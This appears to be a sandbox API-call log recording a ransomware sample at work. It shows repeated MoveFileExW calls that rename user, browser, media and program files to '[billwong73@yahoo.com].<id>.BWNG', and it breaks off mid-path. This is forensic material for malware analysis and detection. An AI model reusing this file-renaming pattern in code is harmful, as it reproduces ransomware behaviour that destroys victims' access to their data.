QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27184799396) returned 1 [0129.896] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].6IO5nY2f-i3dCNPUr.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].6io5ny2f-i3dcnpur.bwng"), dwFlags=0x1) returned 1 [0129.897] GetTickCount () returned 0x1168038 [0129.897] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27184942831) returned 1 [0129.897] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].petkWpES-mX6bS0zd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].petkwpes-mx6bs0zd.bwng"), dwFlags=0x1) returned 1 [0129.899] GetTickCount () returned 0x1168038 [0129.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27185110249) returned 1 [0129.899] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].7fuhzSgo-G8melU2o.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].7fuhzsgo-g8melu2o.bwng"), dwFlags=0x1) returned 1 [0129.900] GetTickCount () returned 0x1168038 [0129.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27185258102) returned 1 [0129.901] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].CFmnlU8O-LN34jpOf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].cfmnlu8o-ln34jpof.bwng"), dwFlags=0x1) returned 1 [0129.915] GetTickCount () returned 0x1168048 [0129.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27186761824) returned 1 [0129.916] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\[billwong73@yahoo.com].6eoUWb0x-DXC9YZVF.BWNG" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\[billwong73@yahoo.com].6eouwb0x-dxc9yzvf.bwng"), dwFlags=0x1) returned 1 [0129.917] GetTickCount () returned 0x1168057 [0129.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27186959109) returned 1 [0129.918] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\[billwong73@yahoo.com].aTXPDxNI-nsXSULzZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\[billwong73@yahoo.com].atxpdxni-nsxsulzz.bwng"), dwFlags=0x1) returned 1 [0129.919] GetTickCount () returned 0x1168057 [0129.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27187349765) returned 1 [0129.922] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\[billwong73@yahoo.com].5ZkYVJGZ-IgyDeFm1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\[billwong73@yahoo.com].5zkyvjgz-igydefm1.bwng"), dwFlags=0x1) returned 1 [0129.923] GetTickCount () returned 0x1168057 [0129.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27187516535) returned 1 [0129.923] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].8yrNeHSZ-rE5tZGNv.BWNG" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].8yrnehsz-re5tzgnv.bwng"), dwFlags=0x1) returned 1 [0129.925] GetTickCount () returned 0x1168057 [0129.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27187678281) returned 1 [0129.925] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\[billwong73@yahoo.com].Yov3LHTq-2KyLct1x.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\[billwong73@yahoo.com].yov3lhtq-2kylct1x.bwng"), dwFlags=0x1) returned 1 [0129.926] GetTickCount () returned 0x1168057 [0129.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27187839965) returned 1 [0129.926] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\[billwong73@yahoo.com].M8oSc872-6CbvAaos.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\[billwong73@yahoo.com].m8osc872-6cbvaaos.bwng"), dwFlags=0x1) returned 1 [0129.928] GetTickCount () returned 0x1168057 [0129.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27187998732) returned 1 [0129.928] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].Wtqy5QUk-LF2pf0MB.BWNG" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].wtqy5quk-lf2pf0mb.bwng"), dwFlags=0x1) returned 1 [0129.930] GetTickCount () returned 0x1168057 [0129.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27188178864) returned 1 [0129.930] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\[billwong73@yahoo.com].xYAmbW0W-WCbO8Nbw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\[billwong73@yahoo.com].xyambw0w-wcbo8nbw.bwng"), dwFlags=0x1) returned 1 [0129.931] GetTickCount () returned 0x1168057 [0129.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27188323838) returned 1 [0129.931] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].xidibaVy-pCMLTpld.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].xidibavy-pcmltpld.bwng"), dwFlags=0x1) returned 1 [0129.933] GetTickCount () returned 0x1168067 [0129.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27188504050) returned 1 [0129.933] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].7UKwuSco-k9eWv6Hw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].7ukwusco-k9ewv6hw.bwng"), dwFlags=0x1) returned 1 [0130.005] GetTickCount () returned 0x11680a5 [0130.005] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27195719638) returned 1 [0130.006] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].HbAaheVK-YMeLepWf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].hbaahevk-ymelepwf.bwng"), dwFlags=0x1) returned 1 [0130.007] GetTickCount () returned 0x11680a5 [0130.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27195898801) returned 1 [0130.007] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\[billwong73@yahoo.com].klxDY771-WhQxNu3U.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\[billwong73@yahoo.com].klxdy771-whqxnu3u.bwng"), dwFlags=0x1) returned 1 [0130.008] GetTickCount () returned 0x11680a5 [0130.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27196033631) returned 1 [0130.008] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\[billwong73@yahoo.com].UwaR7O16-NWqPFC8n.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\[billwong73@yahoo.com].uwar7o16-nwqpfc8n.bwng"), dwFlags=0x1) returned 1 [0130.010] GetTickCount () returned 0x11680a5 [0130.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27196182212) returned 1 [0130.010] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].MqG93vsV-6ypgsBh0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].mqg93vsv-6ypgsbh0.bwng"), dwFlags=0x1) returned 1 [0130.011] GetTickCount () returned 0x11680b5 [0130.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27196318415) returned 1 [0130.011] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].ariTKiKR-CRYGtEYO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].aritkikr-crygteyo.bwng"), dwFlags=0x1) returned 1 [0130.012] GetTickCount () returned 0x11680b5 [0130.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27196454280) returned 1 [0130.013] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\[billwong73@yahoo.com].zC2o0siY-XH8xX8xW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\[billwong73@yahoo.com].zc2o0siy-xh8xx8xw.bwng"), dwFlags=0x1) returned 1 [0130.099] GetTickCount () returned 0x1168103 [0130.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27205080117) returned 1 [0130.099] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].USaXr6Yl-fKPa8XKx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].usaxr6yl-fkpa8xkx.bwng"), dwFlags=0x1) returned 1 [0130.101] GetTickCount () returned 0x1168103 [0130.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27205340492) returned 1 [0130.102] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].GKmSrChS-FSlRgyMA.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].gkmsrchs-fslrgyma.bwng"), dwFlags=0x1) returned 1 [0130.103] GetTickCount () returned 0x1168103 [0130.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27205491930) returned 1 [0130.103] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+10" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+10"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].50FsIwDN-8O8NJ1Lh.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].50fsiwdn-8o8nj1lh.bwng"), dwFlags=0x1) returned 1 [0130.277] GetTickCount () returned 0x11681be [0130.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27222972453) returned 1 [0130.278] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+9" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+9"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].0DBgXyss-NSDmyXkT.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].0dbgxyss-nsdmyxkt.bwng"), dwFlags=0x1) returned 1 [0130.280] GetTickCount () returned 0x11681be [0130.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223209896) returned 1 [0130.280] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-5" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-5"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].hUFlTOHx-pqmU8AjW.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].hufltohx-pqmu8ajw.bwng"), dwFlags=0x1) returned 1 [0130.281] GetTickCount () returned 0x11681be [0130.281] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223371809) returned 1 [0130.282] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\[billwong73@yahoo.com].DP9IQf9N-tUZsIOFB.BWNG" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\[billwong73@yahoo.com].dp9iqf9n-tuzsiofb.bwng"), dwFlags=0x1) returned 1 [0130.283] GetTickCount () returned 0x11681be [0130.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223507083) returned 1 [0130.283] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\belgrade"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].KxDiGMR3-1bc7R5Wo.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].kxdigmr3-1bc7r5wo.bwng"), dwFlags=0x1) returned 1 [0130.284] GetTickCount () returned 0x11681be [0130.284] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223658219) returned 1 [0130.285] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].8QjfZNXy-XvkPucS5.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].8qjfznxy-xvkpucs5.bwng"), dwFlags=0x1) returned 0 [0130.285] GetTickCount () returned 0x11681be [0130.285] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223714825) returned 1 [0130.285] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].iUQRpxgI-xGg6gobH.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].iuqrpxgi-xgg6gobh.bwng"), dwFlags=0x1) returned 0 [0130.285] GetTickCount () returned 0x11681be [0130.285] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223755275) returned 1 [0130.286] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].w1RRfzJs-GFrzzP2m.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].w1rrfzjs-gfrzzp2m.bwng"), dwFlags=0x1) returned 0 [0130.286] GetTickCount () returned 0x11681be [0130.286] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27223794220) returned 1 [0130.286] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package 